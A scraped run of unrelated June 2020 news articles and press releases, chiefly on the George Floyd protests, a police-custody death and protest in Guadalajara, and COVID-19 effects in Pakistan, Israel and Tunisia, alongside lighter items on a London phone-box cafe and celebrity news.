Yutong Bus Co. is celebrating its 15th anniversary on the island this year, the very same year China and Cuba are marking the 60th anniversary of the establishment of diplomatic relations between the two nations. Enditem
Shocking footage shows the moment a police officer is set on fire by protesters in Mexico amid violent clashes over the death of a man who died after he was beaten and taken into custody.

Protesters took to the streets Guadalajara, the nation's second-largest city, on Thursday and called for authorities to be held responsible for the death of Giovanni Lopez.

Lopez was declared dead at a local hospital following an altercation with the police, reportedly because he was not wearing a face mask amid the coronavirus pandemic.

Video from Thursday's demonstration shows the moment a police officer turns away from protesters and got on a motorcycle, before a man is seen dousing him in liquid and setting him on fire.

Three members of the Ixtlahuacan de los Membrillos Municipal Police Department have been arrested, including the police chief, Jalisco state prosecutor Octavio Solis announced Friday.

Governor Enrique Alfaro said the state had assumed control of the municipality's police force and that its officers would be undergoing further training. Alfaro said that any of the cops who don't meet policing standards will be subject to dismissal.

A police officer in Guadalajara was set on fire by a protester Thursday during clashes in Mexico's second-largest city

A man dumps an inflammable liquid over a police officer before he set him on fire Thursday in Guadalajara, Mexico, where protesters took to the streets demanding action a day after a video went viral showing the moment Giovanni Lopez was beaten by cops in Ixtlahuacan de los Membrillos on May 4 and died the following day

DailyMail.com reached to the Jalisco state prosecutor's office and the police department seeking comment on the condition of the attacked police officer.

Protesters descended on the historic center of Guadalajara, Jalisco's capital, and vandalized building, including the palace.

Several police cruisers were set ablaze. Video also showed one of the protesters taking possession of a law enforcement agent's rifle before tossing it into a burning vehicle.

Jalisco Governor Enrique Alfaro responded in a video message late on Thursday and denied Lopez had been held for not using a face mask, but gave no further details.

Alfaro said six police officers were injured, including the one set on fire, with 27 protesters detained. He promised an investigation and condemned the violence, which he described as having been 'never before seen'.

Giovanni Lopez was detained in Jalisco, Mexico, by the police for not wearing a face mask on May 4 and was beaten, an incident which was captured on video. He died the following as a result of a brain injury but his aunt discovered he had multiple body bruises when she opened a body bag with his remains. The Jalisco State Prosecutor's Office is currently investigating

Police officers come to the aid of a cop after he was set ablaze by a demonstrator in Guadalajara, a city in the western Mexican state of Jalisco

Demonstrators smash a door during a protest following the May 5 death of a Giovanni Lopez while in police custody, after he had been arrested allegedly for failing to comply with measures to prevent the spread of COVID-19

The unrest took place two days after Christian Lopez went public with footage that showed his 30-year-old brother being placed in a choke hold by a police officer on May 4 in the Jalisco municipality of Ixtlahuacan de los Membrillos.

Giovanni Lopez was subdued by cops, who shoved him into the back of a department pickup truck. He was taken to a local precinct where he was allegedly beaten.

That same night, his family contacted Ixtlahuacan de los Membrillos mayor Eduardo Cervantes, who promised that Lopez would be released from custody at 10am. However, when they arrive to pick him up, they were informed that he had been transported to a hospital.

DailyMail.com reached out to the Jalisco state prosecutors's office regarding the status of the cop (pictured) who was set on fire by protesters in Guadalajara on Thursday

Demonstrators in Guadalajara attack a police vehicle during Thursday's protest

A burning police vehicle is seen after demonstrators set it on fire during a protest to demand justice for Giovanni Lopez, a construction worker who died after being arrested for not wearing a face mask in public

A police officer clashes with demonstrators during a protest in Guadalajara, Mexico, to demand justice for Giovanni Lopez

Lopez, a construction worker, was declared dead at 10pm due to a brain injury.

However, during an argument with morgue workers, Lopez's aunt went against their advice and unzipped the body bag where her nephew's remains were placed and noticed that he had been tortured, according to LatinUS.

The aunt also said Lopez was shot near the ankle, but the Jalisco state prosecutor's office said her claims were not true.

According to Christian Lopez, mayor Cervantes offered him $9,000, or 200,000 Mexican pesos, to keep the footage under wraps.

Cervantes, who said Giovanni Lopez had threatened to fight National Guard servicemen before he was detained, denied the accusations on Wednesday.

'At no time did I offer 200,000 pesos or any amount in exchange for the silence of the family members, nor did I threaten them,' Cervantes said. 'On the contrary, from the beginning and until today I have instructed my municipal agencies to provide all the information to the State Prosecutor's Office.

'In my municipal government we do not tolerate police brutality, abuse of authority, and much less serious violations of human rights, such as deprivation of life,' he added.

Cervantes is expected to appear before prosecutors for questioning Friday.

Mexico's deputy minister for human rights requested case files from authorities in Jalisco and Baja California, where there may have been a similar incident at a Tijuana gas station on March 27.

Video went viral in which a police officer is seen pressing his foot on the neck of a handcuffed Jair Lopez - of no relation to Giovanni Lopez - for 90 seconds before he died.

The police received reports of Jair Lopez hurling rocks at customers.

Another cop pinned his knee on Lopez's legs while he pressed down his restrained hands. Moments later, a cop attempted to revive Lopez while performing chest compressions.

The cop, who placed his foot on Lopez's neck, and the second law enforcement agent, who held him down against the ground, have been suspended pending an investigation.

The Tijuana occurred two months before George Floyd, a black man, was killed in a similar hold in Minneapolis.

Floyd (pictured), 46, died shortly after Chauvin kneeled on his neck for more than eight minutes

Floyd was killed in Minnesota after Derek Chauvin, a white police officer, placed his knee over the side of Floyd's neck while he was handcuffed and lying face down on May 25.

Video of the incident also showed two other cops kneeling over Floyd's body as he said 'I can't breathe' and called for his mother after the police had arrested him for allegedly using a fake $20 bill at a deli.

Chauvin and the three other officers - Tou Thao, Thomas K. Lane and J. Alexander Kueng - who were at the scene were fired.

Chauvin has been charged with second degree murder, third degree murder and third degree manslaughter

Thao, Lane and Kueng were each charged with aiding and abetting both second-degree murder and manslaughter.
Two of Londons famous red telephone boxes have been reborn as a coffee stall, and the owners say the lack of inside space that was a drawback when they opened a week before lockdown could now be an asset in a socially distanced capital.

Couple Loreinis Hernandez and Sean Rafferty said Amar Cafe, which is operated out of two adjacent disused phone boxes in west London, was trading for just a week before the city shut down at the end of March due to the COVID-19 pandemic.

We were so excited, you know, just starting this business, and then the lockdown came up, Hernandez said. We closed for six weeks.

Loreinis Mejia Hernandez from Colombia serves coffee to a customer at a converted telephone box she runs as a take-away coffee shop with her husband. (Reuters)

The easing of restrictions this week prompted them to reopen the cafe, which specialises in coffee from Hernandezs native Colombia.

We invested everything in these boxes before lockdown, Rafferty said.

It was always going be takeaways and maybe it might be better now for us because people would prefer to be outside, sitting in the park.

While stocks are good for a few weeks, at least, Rafferty and Hernandez are hopeful that the lockdown restrictions in the South American country do not prevent future deliveries.

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A six-year-old boy has drowned after slipping and falling off a toilet seat into a pit latrine.

The child was found drowned in the outdoor lavatory near his family home in Moldova after a massive two-day search.

Beniamin Osipciuc disappeared last Tuesday in the small town of Hincesti, in the central part of the eastern European country.

Reports say the incident occurred in the afternoon when the boy was at home with his sister, 14, and brother, nine.



The older children were busy with their homework and noticed his disappearance only later.

They alerted their parents, who were working at the time.

After failing to find the boy on their own, the family reported him missing.

More than a thousand police, hunters and volunteers searched for the boy for the next two days, combing the town and its outskirts.

After the search resulted in no leads, police officers decided to take a closer look at the familys house and courtyard.

Police official Igor Zglavuta told local media: We broke the outside lavatory and found the boys body in the pit latrine.

Forensic examinations showed no marks of violence on the childs body, police said.

Prosecutor Remus Moroz told: There are no doubts that it was an accident.

The boy put on his older sisters flip-flops and climbed onto the toilet seat.

We believe he slipped from the seat, fell in the drop hole and drowned.

Police spokeswoman Kristina Vikol added: The victim suffocated in faeces after falling in the outside lavatory in the courtyard of his familys house.

Detectives say Beniamin fell in the toilet on the day of his disappearance.

His father Fyodor Osipciuc said: We cannot imagine how he could fall through the drop hole. He used the toilet on his own since he was three

The child, affectionately called Bibi by his family, was buried yesterday, local media reported.

Follow Us on Facebook  @LadunLiadi; Instagram  @LadunLiadi; Twitter  @LadunLiadi; Youtube  @LadunLiadiTV for updates
Netherlands, June 05, 2020 (GLOBE NEWSWIRE) -- From June 8 - 12, Tiqets, one of the world's leading online booking platforms for museums and attractions, will launch the first-ever free online culture festival: the Tiqets Culture Festival.

The Tiqets Culture Festival: Experience culture at home, not alone is a five-day event of new, exclusive virtual experiences with top museums and attractions from around the world. Some exciting new additions to the existing line up are Gatorland (US), Thyssen National Museum (SPA), and last but not least, a special tour at Strawberry Field (UK) followed by a Q&A session with Julia Baird, sister of music legend John Lennon. Other participating venues include the Met (US), ABBA The Museum (SWE), Duomo di Milano (ITA), and Casa Batllo (SPA). These intimate, interactive sessions are exclusively created for the Tiqets Culture Festival by the venues and can only be experienced during the week itself.

Each day of the Tiqets Culture Festival has a theme to represent more ways to experience culture: Nature, History, Kids Activities, Art, and Music. Hosted by a representative from the venue, participants will join an intimate, international group via Google Meet for an hour-long interactive experience on that topic. Tiqets partnered with Google to develop the concept to host these virtual experiences with cultural venues worldwide on Google Meet.

To be enjoyed, culture has to be experienced. The worldwide lockdown has made this impossible, so we wanted to let people see behind closed doors and interact again with the venues, says Luuc Elzinga, President at Tiqets. According to an online survey Tiqets conducted in early May, 85% of respondents miss traveling the most while stuck at home  even more than seeing their friends. Meanwhile, half of the people (47%) want to experience a museum virtually from home. We launched the Tiqets Culture Festival to bring people an interactive way to experience culture at home and come together as a global community.

Weve missed welcoming people into our museum during this period, and seeing the sense of community and happiness they get from that experience, says Caroline Fagerlind, the Museum Director for ABBA The Museum who is hosting a virtual tour during the festival, including exclusive material never shown in the exhibition that takes you behind the scenes of an interactive 5th-member experience. Until we can welcome visitors from across the world again, participating in the Tiqets Culture Festival is our way of bringing the Music, the Magic, and The Memories of ABBA to people around the world.

Participants interested in joining these unique experiences can save their free spot and discover the full lineup for the Tiqets Culture Festival here.

About Tiqets

Tiqets mission is to make culture more accessible by making it easier for more people to discover more ways to culture. From the start in 2014, the company has connected millions of people to museums and attractions with instant, last-minute and mobile tickets. Tiqets works with both hidden gems and top museums and attractions all over the world.

The company is headquartered in Amsterdam and now employs 200+ people worldwide, including in Amsterdam (HQ) as well as Seattle, Las Vegas, Orlando, Philadelphia, London, Copenhagen, Paris, Barcelona, Rome, Vienna, Bangkok, Tokyo and Osaka. More information can be found on Tiqets.com.

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In one of the badly-affected regions by Covid-19 in Pakistan, people are facing severe threats due to lack of medical facilities and food shortages.

Gilgit-Baltistan, the region bordering Chinas Xinjiang province, has already reported over 800 coronavirus cases but there is no medical infrastructure to deal with the crisis.

Reports in Pakistani media, quoted by news agency ANI, say that Gilgit-Baltistan has only two old model ventilators and the region has not received any medical aid and supplies from the federal government.

Dr Amjad Ayub Mirza, a human rights activist, claimed in a tweet that there are only two ventilators in Gilgit-Baltistan.

They (government) receive funds and donations, but they use those funds for their own purpose and not for the welfare of people. However, they do not realise that it is the people who have mandated them to power and position. I hereby request the authorities to pay attention to this region, which was already deprived of rights. Now with coronavirus, the unemployment has grown massively, Mohammad Bakar Mehedi, a lawyer based in Astore, told local media.

Meanwhile, doctors at hospitals in Pakistan are bracing for a surge of Covid-19 patients as the countrys total number of confirmed coronavirus cases surpassed the number in neighbouring China.

Pakistans confirmed cases jumped to 85,264 on Thursday after officials reported 4,688 new infections during the previous 24 hours and 82 deaths, a single-day record for virus-related fatalities.

The developments prompted the government to order the closure of all shopping malls and markets where social distancing regulations are being ignored.

Pakistan has witnessed a steady increase in infections and deaths since last month, when the government lifted a lockdown that was enforced in March to slow the spread of the new virus.

A total of 1,770 people in Pakistan have died in the pandemic.
Netizens cannot let go of emojis. In many of their messages to friends and family members, it will always have the emoticon. However, not all emojis are created equal. Some may appear offensive in light of the recent events.



Take for example, the "TwitchCop" emote from video live streaming platform Twitch. It has recently been removed from the roster to avoid issues since the emote showcases an animated police officer. Here's how it looks like.

READ ALSO: Want To Edit Tweets Or Typos On Twitter? You Can't, And Here's Why

"TwitchCop" is an emoji of a police cop blowing his whistle. Twitch spokesperson told The Verge that they would remove this for now to avoid misuse. The platform joins other apps that recently are making adjustments in lieu of the current events around.

Police brutality

This decision is based on the ongoing protests against racial injustice and police brutality after the killing of another African-American in the hands of law enforcement officers. This time, the late George Floyd and the way he succumbed to death sparked protests with peaceful demonstrators utilizing truncheons, rubber bullets, pepper spray, and more. There is no definite time yet on when these protests will subside and end.

The emoji isn't very well known compared with others, such as the smiley emoticons. However, there are still users that use them in their content. Perhaps the company decided it's best to remove it for now to avoid trolls and harassment.

Twitch emotes are distinctive small images posted with the reactions to live streams. Considering there are videos of the protests, the emoticon might be misused. The rest of their emoji set is created by Twitch Partners and Affiliates.

To give a background, Twitch's "TwitchCop" emoji was introduced to the platform in 2017. The reports added that it was once taken down before the recent decision, but was still viewable via cached URL. Whether it will be restored in the near future, there is no official statement from the company.

"We made the decision to proactively pull down the TwitchCop emote to prevent misuse. We are constantly evaluating our policies to ensure we are addressing emerging behaviors and language on our platform," the spokesperson said.

More changes

NewsBrig reported that Snapchat will cease to promote U.S. President Donald Trump in its Discover section. This is their response over his comments made last week on George Floyd's death.

"We will not amplify voices who incite racial violence and injustice by giving them free promotion on Discover," Snapchat executives said. "Racial violence and injustice have no place in our society, and we stand together with all who seek peace, love, equality, and justice in America."

Netizens are also calling for other social media platforms to join them in their campaign, urging them to make the needed changes. Twitter hasn't removed Trump's account and related accounts. Meanwhile, Facebook received backlash from their community over its refusal to take action or regulate posts.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
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The latest:



Demonstrators broke curfew in some cities on the tenth night of protests.

An ACLU lawsuit argues that President Trump, Attorney General William Barr and other officials unlawfully conspired to violate protesters rights when clearing Lafayette Park on Monday.

Celebrities, musicians and politicians were among those who gathered at the Minneapolis service for George Floyd.

A judge set bail at $750,000 apiece for three former Minneapolis police officers charged with aiding and abetting in Floyd's death.

A metal fencing security perimeter has been set up around the White House, which has been a common site for protests. Secret Service cited "necessary security measures" and told CNN it is expected to stay up through next Wednesday.

Protests continue across US

NEW YORK  Protesters stayed on the streets of New York City after curfew for another day Thursday, spurred by the death of George Floyd.

Actions by the protesters included gathering at Brooklyns Cadman Plaza, the site where police used batons against demonstrators who were out past the city-imposed curfew a night earlier.

Protesters continued past the 8 p.m. curfew Thursday, even after Gov. Andrew Cuomo and Mayor Bill de Blasio sought to deflect criticism over harsh tactics from police enforcing it.

Thousands of protesters were out after curfew, and so were police.

At some locations, officials watched, but didnt immediately move in. At other spots, they made orderly arrests without the batons and riot gear, like a night earlier.

WASHINGTON  Protests in the nations capital over George Floyds death broke up before dark Thursday as a heavy rain began to fall.



The law enforcement presence at the Lincoln Memorial, where protesters gathered, was much smaller than it had been near the White House during the previous nights demonstrations.



ATLANTA  Mayor Keisha Lance Bottoms walked with protesters in downtown Atlanta on Thursday and told the crowd through a megaphone that there is something better on the other side of this.

We are in the midst of a movement in this country, she said. But its going to be incumbent upon all of us to be able to get together and articulate more than our anger. We got to be able to articulate what we want as our solutions.

The mayors appearance came on the seventh straight night of protests in the city following the killing of George Floyd in Minnesota. Police Chief Erika Shields also attended the protest.

When the first night of protests on Friday turned violent, an impassioned Bottoms held a news conference and urged the protesters to go home, saying those who were looting and vandalizing businesses were disgracing the city and Floyds life.

She told the crowd on Thursday that they matter to her, and before she left, she encouraged them to get tested for COVID-19.

BUFFALO A violent incident in Buffalo, New York, involving police was caught on camera that eventually led to two officers being suspended.

Video from WBFO showed a Buffalo police officer appearing to shove a man who walked up to police clearing Niagara Square on Thursday night. The man falls straight backward and hits his head on the pavement, with blood leaking out as officers walk past.

Buffalo Mayor Byron Brown said the man is 75 and hospitalized in serious condition. New York Gov. Andrew Cuomo condemned the incident as wholly unjustified and utterly disgraceful.

Two medics treated the unidentified man, the station reported.

Buffalo police initially said in a statement that a person was injured when he tripped & fell," WIVB-TV reported, but Capt. Jeff Rinaldo later told the TV station that an internal affairs investigation was opened. Police Commissioner Byron Lockwood suspended two officers late Thursday, news outlets reported.

George Floyd mourned in Minneapolis



Hollywood celebrities, musicians and politicians gathered in front of the golden casket of George Floyd at a fiery memorial Thursday for the man whose death at the hands of police sparked global protests, with a civil rights leader declaring it is time for black people to demand, Get your knee off our necks!

The service  the first in a series of memorials set for three cities over six days  unfolded at a sanctuary at North Central University as a judge a few blocks away set bail at $750,000 each for the three fired Minneapolis police officers charged with aiding and abetting murder in Floyd's death.

Floyd, a 46-year-old out-of-work bouncer, died May 25 after a white police officer, Derek Chauvin, put his knee on Floyd's neck for several minutes as he lay handcuffed on the pavement, gasping that he couldn't breathe. Chauvin has been charged with murder, and he and the others could get up to 40 years in prison.

George Floyds story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck, the Rev. Al Sharpton said in a fierce eulogy. Its time for us to stand up in Georges name and say, Get your knee off our necks!

Sharpton vowed a movement to change the whole system of justice.

Time is out for not holding you accountable! Time is out for you making excuses! Time is out for you trying to stall! Time is out for empty words and empty promises! Time is out for you filibustering and trying to stall the arm of justice! he said.

The service drew the Rev. Jesse Jackson, Sen. Amy Klobuchar and members of Congress, including Reps. Ilhan Omar, Sheila Jackson-Lee and Ayana Pressley. Among the celebrities in attendance were T.I., Ludacris, Tyrese Gibson, Kevin Hart, Tiffany Haddish and Marsai Martin.



ACLU sues over police force on protesters near White House

The American Civil Liberties Union and others have filed a lawsuit against the Trump administration, alleging officials violated the civil rights of protesters who were forcefully removed from a park near the White House by police using chemical agents before President Donald Trump walked to a nearby church to take a photo.

The lawsuit was filed Thursday in federal court in Washington. It argues that Trump, Attorney General William Barr and other officials unlawfully conspired to violate the protesters rights when clearing Lafayette Park on Monday.

Shortly before 6:30 p.m. on Monday, law enforcement officers began aggressively forcing back the peaceful protesters, firing smoke bombs and pepper balls into the crowd to disperse them from the park.

The ACLU called it a coordinated and unprovoked charge into the crowd of demonstrators.

Barr said Thursday that he ordered the protesters to be dispersed because officials were supposed to extend a security perimeter around the White House earlier in the day. He said he arrived there later in the afternoon and discovered it hadnt been done.

The lawsuit was filed on behalf of the group Black Lives Matter D.C., and individual protesters who were in Lafayette Park on Monday evening.

Man arrested, accused of making terroristic threats over Confederate monument

A Birmingham, Alabama police spokesperson says an arrest has been made in connection with an alleged threat made Monday over the phone toward Mayor Randall Woodfin.

According to the city, 49-year-old Brian Vest was arrested and is in the Jefferson County Jail on $30,000 bond. He is charged with making terroristic threats.

A 911 caller who refused to give their name said they would bring their AK-47 and kill people, including the mayor, if a statue in Linn Park was taken down.

Not even 24 hours after protesters attempted to remove the Confederate monument themselves Sunday, the city of Birmingham had heavy machinery at Linn Park to remove the controversial monument.

Salt Lake City man with bow and arrow arrested

A man captured on video aiming a bow and arrow at protesters in Salt Lake City over the weekend was charged Thursday with assault and weapon possession.

Brandon McCormick was charged with possession of a dangerous weapon by a restricted person, as well as aggravated assault and threatening or using a dangerous weapon in a fight or quarrel.

He was reportedly pushed to the ground on Saturday after pointing the bow and arrow at people protesting the death of George Floyd at the hands of police. People then flipped over his car and set it on fire.



No attorney was listed in court records.

Legal proceedings continue

In the U.S., where some gatherings had been marked by bouts of lawlessness earlier in the week, relative quiet continued for a second straight night Wednesday following a decision by prosecutors to charge the three other Minneapolis officers at the scene and file a new, more serious count of murder against Chauvin.

Meantime, in Georgia, a white father and son charged in another killing of a black man that has raised racial tensions in the U.S. made a court appearance Thursday via video. A state investigator testified that Travis McMichael was heard uttering a racist slur as he stood over the body of Ahmaud Arbery after killing him with three blasts from a pump-action shotgun.

The new charges in Minneapolis punctuated an unprecedented week in recent American history, in which largely peaceful gatherings took place in communities of all sizes but were rocked by bursts of violence, including deadly attacks on officers, theft, vandalism and arson. In Minneapolis alone, more than 220 buildings were damaged or burned, with damage topping $55 million, city officials said.

Nationwide, more than 10,000 people have been arrested, an Associated Press tally has found. More than a dozen deaths have been reported, though the circumstances in many cases are still being sorted out.
She found fame, and love, with hunky Michael Brunelli on Married At First Sight last year.

But Martha Kalifatidis, 31, has revealed she almost missed out on appearing on the program when she turned down two producers who approached her while she was working at Mecca Cosmetica in Sydney.

In a recent interview with Inskin Cosmedics, the brunette said she caught the eye of two women who casually strolled into the store.

'I told them I haven't had a boyfriend in 10 years! Martha Kalifatidis has revealed she initially turned down the opportunity to appear on Married At First Sight when she was approached by producers while working at a Mecca Cosmetica story

'These two ladies came in and I just thought they were clients, and I was the type of person who would always go above and beyond with any customer,' she explained.

'They were just looking around and I ended up talking to them.'

Martha said the women asked if she had moved to Sydney with her husband, to which Martha replied: 'I'm single, I haven't had a boyfriend in 10 years.'

Something about her: In a recent interview with Inskin Cosmedics , the brunette said she caught the eye of two women who casually strolled into the store

Lucky for her! Martha said she immediately told them 'no', but one of her co-workers secretly gave them her number and insisted they get her on the show

They then asked her if she ever wanted to get married and would be willing to go on a reality show to find the man of her dreams.

Martha said she immediately told them 'no', but one of her co-workers secretly gave them her number and insisted they get her on the show.

The Greek beauty eventually agreed to take part, and said 'before I knew it, I was in a wedding dress and there were cameras everywhere.'

It's love! Martha went on to marry primary school teacher Michael Brunelli on the Channel Nine reality program, which was filmed back in late 2018. By the end of the experiment, the couple chose to continue their relationship outside of the show

Martha went on to marry primary school teacher Michael Brunelli on the Channel Nine reality program, which was filmed back in late 2018.

By the end of the experiment, the couple chose to continue their relationship outside of the show.

And while some parents would be mortified about their child marrying a complete stranger, Martha said her family, in particular her grandmothers, loved watching her find love on TV.

'My two grandmothers, for them they think it's like the best thing ever. They had arranged marriages. This was just like a glamorous arranged marriage to them,' she added.
IATA estimates that revenues generated by airlines in the Tunisian market will fall by $0.6 billion in 2020, 47% below 2019 levels. That puts at risk 92,700 Tunisian jobs and $1.2 billion of Tunisias GDP, which is generated by aviation and its supply chain as well as air transport-dependent tourism.

Tunisias economy is heavily dependent on tourism. Air transport is essential in providing connectivity and supporting tourism, which is a key economic driver for the country. The government has introduced broad taxation-related relief measures but given the central role that air transport and tourism play in Tunisias economy, special attention must be placed on providing aviation-specific relief, said Muhammad Albakri, IATAs Regional Vice President for Africa and the Middle East.

IATA urged the government to kindly consider aviation-specific financial relief measures to ensure that the sector will be capable of driving the recovery. These could include some or all of the following:

Direct financial support to passenger and cargo carriers

Financial relief on airport and air traffic control (ATC) charges and taxes

Reduction, waiver or deferral of government-imposed taxes and fees

As we look to restart the industry, we call on the government to provide the necessary relief to ensure smooth and quick recovery for the air transport and tourism sectors as they are key drivers in Tunisias economy. We also look to the Government of Tunisia to facilitate expediting the needed implementation and modernization of the airline distribution programs and mechanisms within the air transport sector. Allowing for modernization across various processes will mean faster recovery and greater competitiveness for the Tunisian market which has always been one of the leading tourism nations in Africa and the Middle East, said Albakri.
WASHINGTONRev. Al Sharptons eulogy for George Floyd, at a memorial service in Minneapolis, reached an emotional crescendo of triumphant shouting. Go on home, George! Get your rest, George! You changed the world, George!

It was a message both personal and political at a service for a man whose life was remembered by his family as full of love, and whose death under the knee of a police officer has galvanized a movement for racial justice.

His brother Philonise spoke of his life: Everybody loved George.

Sharpton spoke of his death: What happened to George Floyd happens every day in America, in education and health services and every area of American life. Its time for us to stand up in Georges name and say, Get your knee off our necks.

Earlier, the president of North Central University, where the service was held, said he hoped it would be a table of healing for Floyds family, and also for a nation needing to repent, not just restore.

Philonise Floyd remembered the days he and his brother did laundry in the sink, and how George could make all the people he met in the street feel like they were the president with his generosity of spirit. Floyds youngest brother Terrence, after sharing his own memories, made a request now familiar to those around the country from chants at street protests: Can yall please say his name?

Those in attendance, including the Governor of Minnesota and members of congress replied: George Floyd.

Sharpton called out President Donald Trump directly, directing him to open the bible hed held up in an infamous photo-op this week, and to read from the book of Ecclesiastes, where it says there is a time and a season for everything  and to realize that the time for change has arrived. Im more hopeful today than ever, he said, noting that after a long career in the civil-rights movement, the recent crowds were younger, many white people were marching, and international protests were being held in solidarity. This is a different time. Its a different season, he said.

That feeling, that something has changed in the wake of Floyds death to make real change possible, was not only being felt inside the room, but across the country. Just as those at the memorial service observed more than eight minutes of silence to commemorate the length of time an officers knee was on Floyds neck, they observed the same silence in the California legislature, and Democratic senators did so in the Capitol building in Washington. Speaker of the House Nancy Pelosi announced shed introduce a police reform bill on Monday.

The former chairman of the Joint Chiefs of Staff, Mike Mullen, wrote this week that an inflection point had been reached over Trumps conduct in the wake of the protests.

He was joined soon after by Trumps former defence secretary, James Mattis, who said the presidents militant response to the protests makes a mockery of the Constitution. On Thursday, Republican Sen. Lisa Murkowski said Mattiss comments were true, and honest and necessary and overdue, and that the time had arrived when members of the presidents party would feel the courage to speak up about their concerns about Trump. Every living former president has publicly said that the protests are an occasion to address racial injustice  George W. Bush said in a statement, It is time for America to examine our tragic failures.

Trump has resisted embracing the same message. While calling for justice for Floyds brutal killing, he has portrayed it as an isolated incident and avoided tying it to wider police conduct or race relations, while continuing to emphasize a militant response to demonstrators hes characterized as terrorists because of some of the violence and vandalism that have broken out. Late Wednesday, the heads of military branches, including the current chairman of the Joint Chiefs of Staff, sent out messages to their service members reminding them that they are sworn to protect the constitutional principles of racial equality and the right to protest  messages perceived as responses to Trumps incendiary rhetoric.

Theres reason to think the general public may be responding to the messages the same way. In addition to polls this week showing the majority of Americans are sympathetic to the protesters, a wave of election polls, especially from swing states, showed Trump falling behind Joe Biden amid the recent protest crisis. A Fox poll even showed the two candidates tied in Texas, which has voted Republican in every election since 1976.

When the protests and the looting and vandalism that initially accompanied some of them began, Trump appeared to be seizing the opportunity to try to look strong and in charge by cracking down  many thought he saw it as an escape route from the political crisis of coronavirus he could not control.

Now, even as protesters, politicians and activists speak of change being at hand, Trump has shown no signs of changing his approach.

Trump has responded to the wave of military and political criticisms by jousting with some of these critics on Twitter. On Thursday, Trumps campaign sent out a fundraising message based on standing up to protesters. The Left-Wing MOB is trying to DESTROY communities around the Nation, and Sleepy Joes campaign is only fuelling the fire, it read. THESE RIOTS MUST END.

There were no riots in Washington on Wednesday  and no reported arrests of any kind after what the mayor said was the largest protest yet, with crowds reaching 5,000 near the White House in a night of singing and inspiring moments. As a result, there was no curfew imposed on Thursday. Protests were expected to continue there and in other cities.

As Sharpton said at Floyds memorial service, This is the time: we wont stop, were going to keep going until we change the whole system of justice.

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Israel's parliament told employees to remain home and cancelled lawmaker meetings on Thursday, after a member of the Arab-led Joint List tested positive for coronavirus. "In light of MP Sami Abu Shahadeh contracting the coronavirus, all Knesset workers have been instructed to not arrive at parliament, if their work is not essential," a statement from parliament said. "In addition, until all the ramifications are examined, all committee meetings scheduled for today have been postponed," it added. Abu Shahadeh, a resident of Jaffa, told public radio that over the past 10 days he had met "thousands" of people, including at demonstrations, as well as in all parts of the Knesset. He and other members of the Joint List had also visited the east Jerusalem mourning tent for Iyad Hallak, a 32-year-old Palestinian with autism who was shot dead by Israeli police on Saturday when they mistakenly thought he was armed with a pistol. Abu Shahadeh said he was feeling well after receiving the positive test result on Wednesday evening. The partial shutdown of parliament comes as Israeli authorities are dealing with a resurgence in the numbers of people testing positive for the coronavirus, after the reopening of schools and businesses in late May. Israel has recorded more than 17,300 infections and more than 290 deaths in a population of nine million. In recent days, 51 schools have closed their doors again after more than 260 pupils and staff tested positive for the coronavirus. Nearly 8,000 have been placed in isolation after being exposed to the virus, according to the education ministry.
Personalized service offers free advice to US and Canadian individuals and businesses, leveraging over a decade of expertise in erasing malicious, erroneous, or unwanted information while enhancing positive reputations

BARCELONA, Spain, June 5, 2020 /PRNewswire/ -- Eliminalia, dedicated to the 'right to be forgotten', and enabling fresh starts for people and businesses, is expanding across the Atlantic to establish a foothold in North America with an initial presence in Los Angeles and Chicago. Established in Spain in 2012, Eliminalia has helped thousands of people and businesses erase their past and repair their reputations, whether caused by erroneous information, mistaken identity, or malicious intent.

"Increasingly strict privacy laws have empowered us to go beyond traditional online reputation management to deliver a holistic reputation service," says Didac Sanchez, founder and President of Eliminalia. "Now, we are taking those learnings and bringing them to America."

Eliminalia serves a broad range of businesses and individuals, including celebrities who appreciate their dedication to complete privacy, thanks to a team of technicians who uncover all negative information wherever it resides  blogs, review sites, social media, even state registers. Once uncovered, Eliminalia uses propriety tools to remove unwanted information from the internet, even taking any necessary legal action required to achieve the desired results.

Services they will be offering in North America include:

Erasing negative information on search engines, in social media, and across the internet

Complete removal of undesired information from mass media including de-indexing and removal at the source as well as on search engines

Elimination of spurious social media information including fake profiles or false negative information about you or your brand

Deletion of videos or photographs even if they have already become viral on social media

Eliminalia's unique combination of services are unmatched in the worldwide reputation management marketplace, and their unique money-back guarantee has garnered them a customer satisfaction rating of over 99%. Eliminalia provides an application that allows clients to monitor the progress of their work and guarantees confidentiality through non-disclosure agreements.

"Reputation impacts job searches, getting new clients, or overall business goodwill," said Sanchez. "We are committed to liberating people from the albatross that negative information represents."

Eliminalia can be found online at www.eliminalia.com

Media Contact:

Antonella Lo Re

Director of North America

ELIMINALIA GROUP

[email protected]

+41 (91) 912-1010

SOURCE Eliminalia Group

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Kerry Washington is 'so happy' that people are watching her Netflix film American Son to 'deepen their compassion and understanding' amid nation-wide protests.

'My dream for this film was to spark conversations that would lead to change. What questions are popping up for you as you watch or after you watch,' wrote the 43-year-old actress in a post shared to Instagram on Wednesday evening.

American Son follows the story of an 'estranged interracial couple' - played by Washington and actor Steven Pasquale - who reunite at a Florida police station to locate their missing teenage son.

So happy: Kerry Washington is 'so happy' that people are watching her Netflix film American Son to 'deepen their compassion and understanding' amid nation-wide protests

The film explores the social, emotional, and mental complexities of race and how Washington's character struggles to be taken seriously by law enforcement.

American Son - directed by Kenny Leon - premiered on the streaming platform on September 19 and is based off a famous Broadway play of the same name.

During the film's red carpet premiere in October, Kerry spoke to ET about how 'police violence' has become such 'an extraordinary problem in our culture.'

And I think there's a danger that these young men and women are becoming statistics. We don't know their names, or we don't think about their humanity, we're just thinking about enormous numbers,' explained the Scandal star.

Mission accomplished: 'My dream for this film was to spark conversations that would lead to change. What questions are popping up for you as you watch or after you watch,' wrote the 43-year-old actress in a post shared to Instagram on Wednesday evening; Washington pictured in February

Kerry said that when she thinks about the situation as a mother, herself, she thinks 'about how mothers feel, like that fear of having a black child and not knowing if they're going to be OK in the middle of the night.'

Kerry shares two children, daughter Isabelle, six, and son Caleb, three, with husband Nnamdi Asomugha, 38.

'And I just feel like tapping into that horror, parental concern and love, is so universal and helps us to protect these young men and women from being statistics and instead being a full, three dimensional, beautiful human beings that they are,' she concluded.

Aside from landing a main role in the feature, Kerry was also named a producer.

American Son: American Son follows the story of an 'estranged interracial couple' - played by Washington and Steven Pasquale - who reunite at a Florida police station to locate their missing teenage son

